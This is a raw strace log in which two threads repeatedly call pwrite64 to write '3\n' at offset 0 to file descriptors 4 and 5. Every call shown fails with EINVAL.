[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
